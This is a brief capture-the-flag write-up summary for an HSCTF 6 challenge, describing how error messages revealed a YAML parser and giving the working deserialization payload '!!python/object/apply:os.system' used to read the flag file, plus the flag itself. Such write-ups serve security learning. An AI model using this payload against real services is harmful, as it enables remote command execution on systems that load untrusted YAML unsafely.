(full writeup at link)

After testing for errors, you get a response that doesn't typically happen when parsing JSON.
Google the error message (in my case, while parsing a flow mapping) and see that it's YAML

Take advantage of yaml.load() apply tag:

!!python/object/apply:os.system ["cat flag.txt"]
hsctf{JS0N_or_Y4ML}

Original writeup (https://nullpxl.com/post/hsctf6-jsoninfo-keithbot-alostcause/).